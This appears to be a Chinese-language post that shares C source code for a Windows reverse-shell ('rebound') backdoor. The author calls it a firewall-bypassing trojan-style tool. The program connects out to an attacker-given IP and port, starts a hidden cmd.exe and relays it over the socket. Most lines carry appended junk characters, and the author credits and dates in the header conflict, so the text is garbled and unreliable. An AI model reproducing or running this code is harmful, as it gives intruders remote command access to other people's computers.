这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 X|lmH{kf
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/* ============================== uXW.
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Rebound port in Windows NT ^0?cyv\>LA
By wind,2006/7 Ty`=U>K|
===============================*/ !";$Zu
#include (=/L#Yg_
#include btz3f9
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#pragma comment(lib,"wsock32.lib") l{SPV8[i
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void OutputShell(); M]zNW{Xt
SOCKET sClient; ;? QAPTz
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; l8Iy03H
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void main(int argc,char **argv) Jy[8,X
{ -hV KPIb
WSADATA stWsaData; ^9~%=k=
int nRet; ~=]@],{
SOCKADDR_IN stSaiClient,stSaiServer; ]Lft^,7
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if(argc != 3) T{xo_u{Q
{ +uXnFf d^
printf("Useage:\n\rRebound DestIP DestPort\n"); |y=F (6Z
return; \B+SzW
} wq`Kyhk
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WSAStartup(MAKEWORD(2,2),&stWsaData); /'^>-!8_1
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); L. ?dI82c
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stSaiClient.sin_family = AF_INET; /3%xQK>%
stSaiClient.sin_port = htons(0); $ =a$z"
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); }ZGpd9D
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ^moIMFl
{ A{"t0Ai='0
printf("Bind Socket Failed!\n"); eTHh
return; mV]g5>Q\
} V!tBipX%
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stSaiServer.sin_family = AF_INET; <R%6L&
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); YQsc(6
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); !sWBj'[>
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Y}z?I%zL
{ =xP{f<`
printf("Connect Error!"); |.W;vc <
return; [)c|oh%
} C^O^Jj5X%
OutputShell(); p[:%Ck"$7
} <OB~60h"
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void OutputShell() [p<[83' ]
{ DMW:%h{
char szBuff[1024]; |:BYOxAYZ8
SECURITY_ATTRIBUTES stSecurityAttributes; IV*$U7~
OSVERSIONINFO stOsversionInfo; Ux]@prA q
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 1OS3Gv8jc~
STARTUPINFO stStartupInfo; &$im^0`r_
char *szShell; #E)]7!_XG
PROCESS_INFORMATION stProcessInformation; j)*nE./3
unsigned long lBytesRead; oPZ4}>uV
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); L@GD$F=<0
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); l]&)an
stSecurityAttributes.lpSecurityDescriptor = 0; [)u{ -
stSecurityAttributes.bInheritHandle = TRUE; @U5>w\
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Ev#aMK
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ~Wv?p4
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); v:;cTX=x`#
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }C}_
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stStartupInfo.wShowWindow = SW_HIDE; Y.#+Yh[
stStartupInfo.hStdInput = hReadPipe; ^Yz05\
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; INpub5
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GetVersionEx(&stOsversionInfo); M+:wa@Kl
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switch(stOsversionInfo.dwPlatformId) 1YL5 ![T
{ p60D{UzU
case 1: k6S<46}h|
szShell = "command.com"; pT tX[CE
break; 9f`Pi:*+/
default: U)8]pUI+/P
szShell = "cmd.exe"; 2O/_hv.
break; _#B/#^a
} ak[)+_k_
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); W[s>TDc`v
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send(sClient,szMsg,77,0); g!ww;_
while(1) UepBXt3)
{ %\0 Y1!Hw
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); lfP|+=^B
if(lBytesRead) VWa(@A
{ z^.0eP8\j
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); |e\%pfZ
send(sClient,szBuff,lBytesRead,0); #C^m>o~R
} $!Tw`O
else .>n|#XK
{ 9K!='u`
lBytesRead=recv(sClient,szBuff,1024,0); @AOiZOH
if(lBytesRead<=0) break; "Cb<~Dy
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); se[};t:
} R8l9i2
} "RLb wm~
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return; intf%T5#
}